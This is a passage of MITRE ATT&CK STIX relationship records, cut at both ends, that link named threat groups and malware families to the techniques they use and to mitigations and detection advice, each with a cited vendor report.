R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2020-03-20T21:24:24.092Z","description":"[PowerStallion](https://attack.mitre.org/software/S0393) uses Microsoft OneDrive as a C2 server via a network drive mapped with net use.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0345ec62-657e-4673-89a1-d17e85f5dab0","created":"2024-02-12T19:18:43.246Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T19:18:43.246Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has used PowerShell to accomplish tasks within targeted environments.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0347a294-8928-4d15-8df2-44452b40afe4","type":"relationship","created":"2020-01-30T17:03:43.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?p=556","description":"Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.","source_name":"ADSecurity AD Kerberos Attacks"}],"modified":"2021-08-31T19:56:31.519Z","description":"Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.(Citation: ADSecurity AD Kerberos Attacks)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--034a2bc9-62a9-413f-b167-0b348928eba0","created":"2022-09-27T16:32:41.943Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:32:41.943Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors obtained the password for the victim's password manager via a custom keylogger.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--034b1ca2-8202-4eb9-9fbe-b519ed3dd5a8","type":"relationship","created":"2021-09-21T15:16:40.912Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T16:28:04.670Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has obfuscated tools and malware it uses with VMProtect.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03527dc8-25a6-479d-b00f-90b543944da1","created":"2021-10-01T01:57:31.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Hildegard Malware","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"},{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.697Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has established tmate sessions for C2 communications.(Citation: Unit 42 Hildegard Malware)(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--035525fc-4549-4282-b85b-c7c07359124c","type":"relationship","created":"2019-08-26T15:27:13.006Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Kimsuky Sept 2013","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/","description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019."},{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}],"modified":"2022-02-09T15:31:23.797Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has collected Office, PDF, and HWP documents from its victims.(Citation: Securelist Kimsuky Sept 2013)(Citation: Talos Kimsuky Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--035dca04-cf9e-45ac-a037-f171b06078e6","type":"relationship","created":"2021-06-22T13:18:38.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T13:18:38.076Z","description":"[SodaMaster](https://attack.mitre.org/software/S0627) has the ability to download additional payloads from C2 to the targeted system.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--94d6d788-07bb-4dcc-b62f-e02626b00108","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--035e7890-593f-4f70-898a-93f3302f8fac","type":"relationship","created":"2020-03-11T17:35:33.894Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2021-08-31T15:25:14.255Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox.(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03632545-0422-4b88-b5c8-f3b52ccfd28f","type":"relationship","created":"2021-04-14T14:05:51.792Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Rocket Kitten","url":"https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf","description":"Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018."}],"modified":"2021-04-14T14:05:51.792Z","description":"(Citation: Check Point Rocket Kitten)","relationship_type":"uses","source_ref":"intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7","target_ref":"tool--9a2640c2-9f43-46fe-b13f-bde881e55555","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--036b0dfd-5d52-4b10-9951-8d967fc8df3c","created":"2024-02-21T19:25:39.462Z","revoked":false,"external_references":[{"source_name":"Secureworks GOLD SAHARA","description":"Secureworks. (n.d.). GOLD SAHARA. Retrieved February 20, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-sahara"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-21T19:25:39.462Z","description":"[Akira](https://attack.mitre.org/groups/G1024) will exfiltrate victim data using applications such as [Rclone](https://attack.mitre.org/software/S1040).(Citation: Secureworks GOLD SAHARA)","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--036d9e28-e7c4-4865-b964-2ea213274521","type":"relationship","created":"2020-05-05T20:54:53.107Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-05-05T20:54:53.107Z","description":"[BlackTech](https://attack.mitre.org/groups/G0098) has used e-mails with malicious links to lure victims into installing malware.(Citation: TrendMicro BlackTech June 2017)\t ","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--036e996f-5767-4306-9dfa-7c22e797aecc","type":"relationship","created":"2021-04-13T20:27:51.723Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Avira Mustang Panda January 2020","url":"https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong","description":"Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}],"modified":"2021-04-19T17:52:40.876Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used ipconfig and arp to determine network configuration information.(Citation: Avira Mustang Panda January 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--036f4704-ce28-49cf-bb57-e4ce5079981e","type":"relationship","created":"2020-05-06T15:48:01.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."},{"source_name":"JPCert PLEAD Downloader June 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."},{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."},{"source_name":"Symantec Palmerworm Sep 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt","description":"Threat Intelligence. (2020, September 29). Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors. Retrieved March 25, 2022."}],"modified":"2022-03-25T14:39:06.466Z","description":"(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018)(Citation: Trend Micro Waterbear December 2019)(Citation: Symantec Palmerworm Sep 2020)","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--036fcb1f-4cc1-4b48-bb9b-9312c9c8d9d9","created":"2022-06-09T19:37:51.673Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."},{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has used `regsvr32` to execute scripts.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T20:35:59.233Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03732f50-c46c-49f1-bd47-cc56bb96cf23","type":"relationship","created":"2020-06-15T20:49:55.553Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Dyreza November 2015","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/","description":"hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}],"modified":"2020-06-15T20:49:55.553Z","description":"[Dyre](https://attack.mitre.org/software/S0024) has the ability to identify network settings on a compromised host.(Citation: Malwarebytes Dyreza November 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--037437e0-c3c4-4bb4-a3a1-b6f2fef82728","created":"2024-02-06T17:32:41.551Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-06T17:32:41.551Z","description":"Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--e6f19759-dde3-47fc-99cc-d9f5fa4ade60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--037b851b-7ced-4322-a57a-9f744f9a1e76","type":"relationship","created":"2020-02-28T15:22:27.336Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"STIG krbtgt reset","url":"https://www.stigviewer.com/stig/windows_server_2016/2019-12-12/finding/V-91779","description":"UCF. (n.d.). The password for the krbtgt account on a domain must be reset at least every 180 days. Retrieved November 5, 2020."}],"modified":"2022-03-08T21:45:02.604Z","description":"For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. For each domain, change the KRBTGT account password once, force replication, and then change the password a second time. Consider rotating the KRBTGT account password every 180 days.(Citation: STIG krbtgt reset)","relationship_type":"mitigates","source_ref":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--037e2e7e-5d23-48d6-90e6-796693a0caea","created":"2022-06-10T16:45:13.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T12:32:38.691Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has gathered detailed information of target employees to enhance their social engineering lures.(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0384ef48-ede0-4200-be47-413622f4c690","type":"relationship","created":"2020-01-29T18:12:33.728Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-29T18:12:33.728Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b","target_ref":"attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--038940df-ae44-4ca6-a417-6e4aac6a2f56","created":"2024-05-22T20:47:19.351Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:47:19.351Z","description":"[IPsec Helper](https://attack.mitre.org/software/S1132) can delete various registry keys related to its execution and use.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--b5dc19b7-588d-403b-848d-c868bd61ffa1","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--038ef88e-14c6-4db0-a01e-2c33402d9e48","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0390ebec-176f-421a-9823-cce48756aef1","created":"2021-01-22T16:51:10.393Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.417Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used side loading to place malicious DLLs in memory.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03927cb1-f80c-4b86-ac8d-f0963141eaa8","created":"2023-04-14T14:10:26.361Z","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T14:10:26.361Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) masqueraded executables as `.txt` files.(Citation: Dragos Crashoverride 2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03927dc7-2ef0-43e4-ad71-94243e29bca4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2018","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}],"modified":"2020-03-17T00:09:26.398Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) uses variations of a simple XOR encryption routine for C&C communications.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--039364a9-2afd-4ae5-9df0-08d4e583674f","type":"relationship","created":"2019-03-25T15:05:23.669Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","source_name":"Talos Olympic Destroyer 2018"}],"modified":"2019-06-30T23:07:54.016Z","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses API calls to enumerate the infected system's ARP table.(Citation: Talos Olympic Destroyer 2018)","relationship_type":"uses","source_ref":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0396cca6-52e9-4553-8fa2-68d482c76ddd","created":"2024-05-15T20:28:00.204Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:28:00.204Z","description":"(Citation: CISA AA24-038A PRC Critical Infrastructure February 